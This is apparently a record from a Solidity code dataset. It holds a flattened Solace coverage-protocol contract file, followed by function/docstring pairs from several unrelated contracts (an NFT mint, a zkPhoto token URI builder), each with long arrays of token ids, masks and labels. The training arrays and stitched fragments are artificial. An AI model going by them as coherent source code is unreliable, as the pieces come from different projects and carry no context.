Use [`get(key)`](#get) or [`tryGet(key)`](#tryget) to get the address of the contract. Enumerate the keys with [`length()`](#length) and [`getKey(index)`](#getkey). */ interface IRegistry { /*************************************** EVENTS ***************************************/ /// @notice Emitted when a record is set. event RecordSet(string indexed key, address indexed value); /*************************************** VIEW FUNCTIONS ***************************************/ /// @notice The number of unique keys. function length() external view returns (uint256); /** * @notice Gets the `value` of a given `key`. * Reverts if the key is not in the mapping. * @param key The key to query. * @param value The value of the key. */ function get(string calldata key) external view returns (address value); /** * @notice Gets the `value` of a given `key`. * Fails gracefully if the key is not in the mapping. * @param key The key to query. * @param success True if the key was found, false otherwise. * @param value The value of the key or zero if it was not found. */ function tryGet(string calldata key) external view returns (bool success, address value); /** * @notice Gets the `key` of a given `index`. * @dev Iterable [1,length]. * @param index The index to query. * @return key The key at that index. */ function getKey(uint256 index) external view returns (string memory key); /*************************************** GOVERNANCE FUNCTIONS ***************************************/ /** * @notice Sets keys and values. * Can only be called by the current [**governor**](/docs/protocol/governance). * @param keys The keys to set. * @param values The values to set. */ function set(string[] calldata keys, address[] calldata values) external; } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity 0.8.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] pragma solidity 0.8.6; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File contracts/interfaces/ISOLACE.sol pragma solidity 0.8.6; /** * @title Solace Token (SOLACE) * @author solace.fi * @notice The native governance token of the Solace Coverage Protocol. */ interface ISOLACE is IERC20Metadata { /*************************************** EVENTS ***************************************/ /// @notice Emitted when a minter is added. event MinterAdded(address indexed minter); /// @notice Emitted when a minter is removed. event MinterRemoved(address indexed minter); /*************************************** MINT FUNCTIONS ***************************************/ /** * @notice Returns true if `account` is authorized to mint [**SOLACE**](../SOLACE). * @param account Account to query. * @return status True if `account` can mint, false otherwise. */ function isMinter(address account) external view returns (bool status); /** * @notice Mints new [**SOLACE**](../SOLACE) to the receiver account. * Can only be called by authorized minters. * @param account The receiver of new tokens. * @param amount The number of new tokens. */ function mint(address account, uint256 amount) external; /** * @notice Burns [**SOLACE**](../SOLACE) from msg.sender. * @param amount Amount to burn. */ function burn(uint256 amount) external; /** * @notice Adds a new minter. * Can only be called by the current [**governor**](/docs/protocol/governance). * @param minter The new minter. */ function addMinter(address minter) external; /** * @notice Removes a minter. * Can only be called by the current [**governor**](/docs/protocol/governance). * @param minter The minter to remove. */ function removeMinter(address minter) external; } // File contracts/interfaces/utils/IGovernable.sol pragma solidity 0.8.6; /** * @title IGovernable * @author solace.fi * @notice Enforces access control for important functions to [**governor**](/docs/protocol/governance). * * Many contracts contain functionality that should only be accessible to a privileged user. The most common access control pattern is [OpenZeppelin's `Ownable`](https://docs.openzeppelin.com/contracts/4.x/access-control#ownership-and-ownable). We instead use `Governable` with a few key differences: * - Transferring the governance role is a two step process. The current governance must [`setPendingGovernance(pendingGovernance_)`](#setpendinggovernance) then the new governance must [`acceptGovernance()`](#acceptgovernance). This is to safeguard against accidentally setting ownership to the wrong address and locking yourself out of your contract. * - `governance` is a constructor argument instead of `msg.sender`. This is especially useful when deploying contracts via a [`SingletonFactory`](./ISingletonFactory). * - We use `lockGovernance()` instead of `renounceOwnership()`. `renounceOwnership()` is a prerequisite for the reinitialization bug because it sets `owner = address(0x0)`. We also use the `governanceIsLocked()` flag. */ interface IGovernable { /*************************************** EVENTS ***************************************/ /// @notice Emitted when pending Governance is set. event GovernancePending(address pendingGovernance); /// @notice Emitted when Governance is set. event GovernanceTransferred(address oldGovernance, address newGovernance); /// @notice Emitted when Governance is locked. event GovernanceLocked(); /*************************************** VIEW FUNCTIONS ***************************************/ /// @notice Address of the current governor. function governance() external view returns (address); /// @notice Address of the governor to take over. function pendingGovernance() external view returns (address); /// @notice Returns true if governance is locked. function governanceIsLocked() external view returns (bool); /*************************************** MUTATORS ***************************************/ /** * @notice Initiates transfer of the governance role to a new governor. * Transfer is not complete until the new governor accepts the role. * Can only be called by the current [**governor**](/docs/protocol/governance). * @param pendingGovernance_ The new governor. */ function setPendingGovernance(address pendingGovernance_) external; /** * @notice Accepts the governance role. * Can only be called by the new governor. */ function acceptGovernance() external; /** * @notice Permanently locks this contract's governance role and any of its functions that require the role. * This action cannot be reversed. * Before you call it, ask yourself: * - Is the contract self-sustaining? * - Is there a chance you will need governance privileges in the future? * Can only be called by the current [**governor**](/docs/protocol/governance). */ function lockGovernance() external; } // File contracts/utils/Governable.sol pragma solidity 0.8.6; /** * @title Governable * @author solace.fi * @notice Enforces access control for important functions to [**governor**](/docs/protocol/governance). * * Many contracts contain functionality that should only be accessible to a privileged user. The most common access control pattern is [OpenZeppelin's `Ownable`](https://docs.openzeppelin.com/contracts/4.x/access-control#ownership-and-ownable). We instead use `Governable` with a few key differences: * - Transferring the governance role is a two step process. The current governance must [`setPendingGovernance(pendingGovernance_)`](#setpendinggovernance) then the new governance must [`acceptGovernance()`](#acceptgovernance). This is to safeguard against accidentally setting ownership to the wrong address and locking yourself out of your contract. * - `governance` is a constructor argument instead of `msg.sender`. This is especially useful when deploying contracts via a [`SingletonFactory`](./../interfaces/utils/ISingletonFactory). * - We use `lockGovernance()` instead of `renounceOwnership()`. `renounceOwnership()` is a prerequisite for the reinitialization bug because it sets `owner = address(0x0)`. We also use the `governanceIsLocked()` flag. */ contract Governable is IGovernable { /*************************************** GLOBAL VARIABLES ***************************************/ // Governor. address private _governance; // governance to take over. address private _pendingGovernance; bool private _locked; /** * @notice Constructs the governable contract. * @param governance_ The address of the [governor](/docs/protocol/governance). */ constructor(address governance_) { require(governance_ != address(0x0), "zero address governance"); _governance = governance_; _pendingGovernance = address(0x0); _locked = false; } /*************************************** MODIFIERS ***************************************/ // can only be called by governor // can only be called while unlocked modifier onlyGovernance() { require(!_locked, "governance locked"); require(msg.sender == _governance, "!governance"); _; } // can only be called by pending governor // can only be called while unlocked modifier onlyPendingGovernance() { require(!_locked, "governance locked"); require(msg.sender == _pendingGovernance, "!pending governance"); _; } /*************************************** VIEW FUNCTIONS ***************************************/ /// @notice Address of the current governor. function governance() public view override returns (address) { return _governance; } /// @notice Address of the governor to take over. function pendingGovernance() external view override returns (address) { return _pendingGovernance; } /// @notice Returns true if governance is locked. function governanceIsLocked() external view override returns (bool) { return _locked; } /*************************************** MUTATOR FUNCTIONS ***************************************/ /** * @notice Initiates transfer of the governance role to a new governor. * Transfer is not complete until the new governor accepts the role. * Can only be called by the current [**governor**](/docs/protocol/governance). * @param pendingGovernance_ The new governor. */ function setPendingGovernance(address pendingGovernance_) external override onlyGovernance { _pendingGovernance = pendingGovernance_; emit GovernancePending(pendingGovernance_); } /** * @notice Accepts the governance role. * Can only be called by the pending governor. */ function acceptGovernance() external override onlyPendingGovernance { // sanity check against transferring governance to the zero address // if someone figures out how to sign transactions from the zero address // consider the entirety of ethereum to be rekt require(_pendingGovernance != address(0x0), "zero governance"); address oldGovernance = _governance; _governance = _pendingGovernance; _pendingGovernance = address(0x0); emit GovernanceTransferred(oldGovernance, _governance); } /** * @notice Permanently locks this contract's governance role and any of its functions that require the role. * This action cannot be reversed. * Before you call it, ask yourself: * - Is the contract self-sustaining? * - Is there a chance you will need governance privileges in the future? * Can only be called by the current [**governor**](/docs/protocol/governance). */ function lockGovernance() external override onlyGovernance { _locked = true; // intentionally not using address(0x0), see re-initialization exploit _governance = address(0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF); _pendingGovernance = address(0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF); emit GovernanceTransferred(msg.sender, address(0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF)); emit GovernanceLocked(); } } // File contracts/risk/CoverageDataProviderV2.sol pragma solidity 0.8.6; /** * @title CoverageDataProviderV2 * @author solace.fi * @notice Holds underwriting pool amounts in `USD`. Provides information to the [**Risk Manager**](./RiskManager.sol) that is the maximum amount of cover that `Solace` protocol can sell as a coverage. */ contract CoverageDataProviderV2 is ICoverageDataProviderV2, Governable, ReentrancyGuard { using EnumerableSet for EnumerableSet.AddressSet; /*************************************** STATE VARIABLES ***************************************/ /// @notice The balance of underwriting pool in usd. mapping(string => uint256) private _uwpBalanceOf; /// @notice The index to underwriting pool. mapping(uint256 => string) private _indexToUwp; /// @notice The underwriting pool to index. mapping(string => uint256) private _uwpToIndex; /// @notice The underwriting pool updaters. EnumerableSet.AddressSet private _updaters; /// @notice The underwriting pool count uint256 public numOfPools; /// @notice The max. coverage amount. uint256 public maxCover; /*************************************** MODIFIERS FUNCTIONS ***************************************/ modifier canUpdate() { require(msg.sender == super.governance() || isUpdater(msg.sender), "!governance"); _; } /** * @notice Constructs the `CoverageDataProviderV2` contract. * @param _governance The address of the [governor](/docs/protocol/governance). */ // solhint-disable-next-line no-empty-blocks constructor(address _governance) Governable(_governance) {} /*************************************** MUTUATOR FUNCTIONS ***************************************/ /** * @notice Resets the underwriting pool balances. * @param _uwpNames The underwriting pool values to set. * @param _amounts The underwriting pool balances in `USD`. */ function set(string[] calldata _uwpNames, uint256[] calldata _amounts) external override nonReentrant canUpdate { require(_uwpNames.length == _amounts.length, "length mismatch"); _set(_uwpNames, _amounts); } /** * @notice Removes the given underwriting pool. * @param uwpNames The underwriting pool names to remove. */ function remove(string[] calldata uwpNames) external override canUpdate { _remove(uwpNames); } /*************************************** VIEW FUNCTIONS ***************************************/ /** * @notice Returns the balance of the underwriting pool in `USD`. * @param uwpName The underwriting pool name to get balance. * @return amount The balance of the underwriting pool in `USD`. */ function balanceOf(string memory uwpName) public view override returns (uint256 amount) { return _uwpBalanceOf[uwpName]; } /** * @notice Returns underwriting pool name for given index. * @param index The underwriting pool index to get. * @return uwpName The underwriting pool name. */ function poolOf(uint256 index) external view override returns (string memory uwpName) { return _indexToUwp[index]; } /** * @notice Returns if given address is a valid underwriting pool updater. * @param updater The address to check. * @return status True if the address is valid updater. */ function isUpdater(address updater) public view override returns (bool status) { return _updaters.contains(updater); } /** * @notice Returns updater for given index. * @param index The index to get updater. * @return updater The updater address. */ function updaterAt(uint256 index) external view override returns (address updater) { return _updaters.at(index); } /** * @notice Returns the length of the updaters. * @return count The updater count. */ function numsOfUpdater() external view override returns (uint256 count) { return _updaters.length(); } /*************************************** INTERNAL FUNCTIONS ***************************************/ /** * @notice Resets the underwriting pool balances. * @param uwpNames The underwriting pool values to set. * @param amounts The underwriting pool balances in `USD`. */ function _set(string[] memory uwpNames, uint256[] memory amounts) internal { // delete current underwriting pools uint256 poolCount = numOfPools; string memory uwpName; for (uint256 i = poolCount; i > 0; i--) { uwpName = _indexToUwp[i]; delete _uwpToIndex[uwpName]; delete _indexToUwp[i]; delete _uwpBalanceOf[uwpName]; emit UnderwritingPoolRemoved(uwpName); } // set new underwriting pools uint256 cover = 0; numOfPools = 0; uint256 amount; for (uint256 i = 0; i < uwpNames.length; i++) { uwpName = uwpNames[i]; amount = amounts[i]; cover += amount; require(bytes(uwpName).length > 0, "empty underwriting pool name"); _uwpBalanceOf[uwpName] = amount; if (_uwpToIndex[uwpName] == 0) { uint256 index = numOfPools; _uwpToIndex[uwpName] = ++index; _indexToUwp[index] = uwpName; numOfPools = index; } emit UnderwritingPoolSet(uwpName, amount); } maxCover = cover; } /** * @notice Removes the given underwriting pool. * @param uwpNames The underwriting pool names to remove. */ function _remove(string[] memory uwpNames) internal { string memory uwpName; uint256 cover = maxCover; for (uint256 i = 0; i < uwpNames.length; i++) { uwpName = uwpNames[i]; uint256 index = _uwpToIndex[uwpName]; if (index == 0) return; uint256 poolCount = numOfPools; if (poolCount == 0) return; if (index != poolCount) { string memory lastPool = _indexToUwp[poolCount]; _uwpToIndex[lastPool] = index; _indexToUwp[index] = lastPool; } cover -= _uwpBalanceOf[uwpName]; delete _uwpToIndex[uwpName]; delete _indexToUwp[poolCount]; delete _uwpBalanceOf[uwpName]; numOfPools -= 1; emit UnderwritingPoolRemoved(uwpName); } maxCover = cover; } /*************************************** GOVERNANCE FUNCTIONS ***************************************/ /** * @notice Sets the underwriting pool bot updater. * @param updater The bot address to set. */ function addUpdater(address updater) external override onlyGovernance { require(updater != address(0x0), "zero address uwp updater"); _updaters.add(updater); emit UwpUpdaterSet(updater); } /** * @notice Sets the underwriting pool bot updater. * @param updater The bot address to set. */ function removeUpdater(address updater) external override onlyGovernance { if (!isUpdater(updater)) return; _updaters.remove(updater); emit UwpUpdaterRemoved(updater); } }
* @notice Returns the balance of the underwriting pool in `USD`. @param uwpName The underwriting pool name to get balance. @return amount The balance of the underwriting pool in `USD`./
function balanceOf(string memory uwpName) public view override returns (uint256 amount) { return _uwpBalanceOf[uwpName]; }
10,958,583
[ 1, 1356, 326, 11013, 434, 326, 3613, 14345, 2845, 316, 1375, 3378, 40, 8338, 225, 582, 8612, 461, 1021, 3613, 14345, 2845, 508, 358, 336, 11013, 18, 327, 3844, 1021, 11013, 434, 326, 3613, 14345, 2845, 316, 1375, 3378, 40, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11013, 951, 12, 1080, 3778, 582, 8612, 461, 13, 1071, 1476, 3849, 1135, 261, 11890, 5034, 3844, 13, 288, 203, 1377, 327, 389, 89, 8612, 13937, 951, 63, 89, 8612, 461, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x90c70Dc9f3FDa4a1D78a2B7D90CA087088355717/sources/contracts/citizenship/Collection.sol
@dev functionality for minting tokens
function mint( uint256 id, uint256 expiresAt, bytes memory signature ) external onlyWithCoupon(id, expiresAt, signature) nonReentrant { require(active, "sale must be configured"); require(totalSupply < maxSupply, "Citizenship: exceeded max supply"); uint256 tokenId = ((vrf.randomWord + id) % maxSupply) + 1; receipts[id] = tokenId; totalSupply++; _safeMint(msg.sender, tokenId); }
9,685,638
[ 1, 915, 7919, 364, 312, 474, 310, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 12, 203, 3639, 2254, 5034, 612, 16, 203, 3639, 2254, 5034, 7368, 861, 16, 203, 3639, 1731, 3778, 3372, 203, 565, 262, 3903, 1338, 1190, 22744, 12, 350, 16, 7368, 861, 16, 3372, 13, 1661, 426, 8230, 970, 288, 203, 3639, 2583, 12, 3535, 16, 315, 87, 5349, 1297, 506, 4351, 8863, 203, 203, 3639, 2583, 12, 4963, 3088, 1283, 411, 943, 3088, 1283, 16, 315, 39, 305, 452, 275, 3261, 30, 12428, 943, 14467, 8863, 203, 203, 3639, 2254, 5034, 1147, 548, 273, 14015, 16825, 18, 9188, 3944, 397, 612, 13, 738, 943, 3088, 1283, 13, 397, 404, 31, 203, 3639, 2637, 27827, 63, 350, 65, 273, 1147, 548, 31, 203, 3639, 2078, 3088, 1283, 9904, 31, 203, 203, 3639, 389, 4626, 49, 474, 12, 3576, 18, 15330, 16, 1147, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "./Base64.sol"; /** * @title zkPhoto * @dev Private authentic photo sharing */ interface IVerifier { function verifyProof( uint256[2] memory a, uint256[2][2] memory b, uint256[2] memory c, uint256[65] memory input ) external view returns (bool); } contract zkPhoto is ERC721 { address public verifierAddr; using Counters for Counters.Counter; Counters.Counter private _tokenIds; //on chain data mapping(uint256 => uint256[65][16]) private data; mapping(bytes32 => bool) private hashExists; /** * @dev Start the game by setting the verifier address * @param _verifier address of verifier contract */ constructor(address _verifier) ERC721("zkPhoto 2.0", "zkPhoto") { verifierAddr = _verifier; } /** * @dev check invalid characters in input string * @param String input string to be checked */ function HasQuotationMark( string calldata String ) private pure returns (bool) { bytes calldata StringBytes = bytes(String); bytes1 quote = bytes1("\""); uint256 length = StringBytes.length; for (uint256 i = 0; i < length; ++i) { if (StringBytes[i]==quote) { return true; } } return false; } /** * @dev generateTokenURI based on input * @param name name in tokenURI * @param description description in tokenURI * @param image image in tokenURI */ function generateTokenURI( string calldata name, string calldata description, string calldata image ) private pure returns (string memory) { bytes memory dataURI = abi.encodePacked( "{", '"name": "', name, '", "description": "', description, '", "image": "', image, '", "external_url": "https://zkPhoto.one"', "}" ); return string( abi.encodePacked( "data:application/json;base64,", Base64.encode(dataURI) ) ); } /** * @dev compute keccak256 hash of the 16 sliced image hashs * @param _input input data */ function generateHash(uint256[65][16] calldata _input) private pure returns (bytes32) { return keccak256(abi.encode(_input)); } /** * @dev mint a photo given the proof and the tokenURI */ function mint( string calldata name, string calldata description, string calldata image, uint256[2][16] calldata a, uint256[2][2][16] calldata b, uint256[2][16] calldata c, uint256[65][16] calldata input ) public returns (uint256) { require(!HasQuotationMark(name) && !HasQuotationMark(description) && !HasQuotationMark(image), "Invalid metadata"); bytes32 _hash = generateHash(input); require(!hashExists[_hash], "Image already exists"); for (uint256 i = 0; i < 16; ++i) { uint256[2] memory _a = [a[i][0], a[i][1]]; uint256[2][2] memory _b = [ [b[i][0][0], b[i][0][1]], [b[i][1][0], b[i][1][1]] ]; uint256[2] memory _c = [c[i][0], c[i][1]]; uint256[65] memory _input; for (uint256 j = 0; j < 65; ++j) { _input[j] = input[i][j]; } require( IVerifier(verifierAddr).verifyProof(_a, _b, _c, _input), "Invalid proof" ); } _tokenIds.increment(); uint256 newtokenId = _tokenIds.current(); _mint(msg.sender, newtokenId); _setTokenURI(newtokenId, generateTokenURI(name, description, image)); data[newtokenId] = input; hashExists[_hash] = true; return newtokenId; } /** * @dev retrieve on chain data by NFT id * @param tokenId token id */ function getData(uint256 tokenId) public view returns (uint256[65][16] memory) { require(_exists(tokenId), "Nonexistent token"); return data[tokenId]; } }
* @dev generateTokenURI based on input @param name name in tokenURI @param description description in tokenURI @param image image in tokenURI/
function generateTokenURI( string calldata name, string calldata description, string calldata image ) private pure returns (string memory) { bytes memory dataURI = abi.encodePacked( "{", '"name": "', name, '", "description": "', description, '", "image": "', image, "}" ); return string( abi.encodePacked( "data:application/json;base64,", Base64.encode(dataURI) ) ); }
12,571,522
[ 1, 7163, 1345, 3098, 2511, 603, 810, 225, 508, 508, 316, 1147, 3098, 225, 2477, 2477, 316, 1147, 3098, 225, 1316, 1316, 316, 1147, 3098, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2103, 1345, 3098, 12, 203, 3639, 533, 745, 892, 508, 16, 203, 3639, 533, 745, 892, 2477, 16, 203, 3639, 533, 745, 892, 1316, 203, 565, 262, 3238, 16618, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 1731, 3778, 501, 3098, 273, 24126, 18, 3015, 4420, 329, 12, 203, 5411, 4144, 3113, 203, 5411, 2119, 529, 6877, 14912, 203, 5411, 508, 16, 203, 5411, 19197, 315, 3384, 6877, 14912, 203, 5411, 2477, 16, 203, 5411, 19197, 315, 2730, 6877, 14912, 203, 5411, 1316, 16, 203, 5411, 11883, 203, 3639, 11272, 203, 203, 3639, 327, 203, 5411, 533, 12, 203, 7734, 24126, 18, 3015, 4420, 329, 12, 203, 10792, 315, 892, 30, 3685, 19, 1977, 31, 1969, 1105, 16, 3113, 203, 10792, 3360, 1105, 18, 3015, 12, 892, 3098, 13, 203, 7734, 262, 203, 5411, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x46361f58D59447dBcA4FCf76cE031D4d5eBB22EC/sources/src/Contract.sol
Adrash,[email protected],1234567890,no wifi in hostel
mapping(address => complaint) internal Data;
9,457,604
[ 1, 1871, 86, 961, 16, 361, 976, 36, 75, 4408, 18, 832, 16, 28462, 20277, 20, 16, 2135, 341, 704, 316, 1479, 292, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
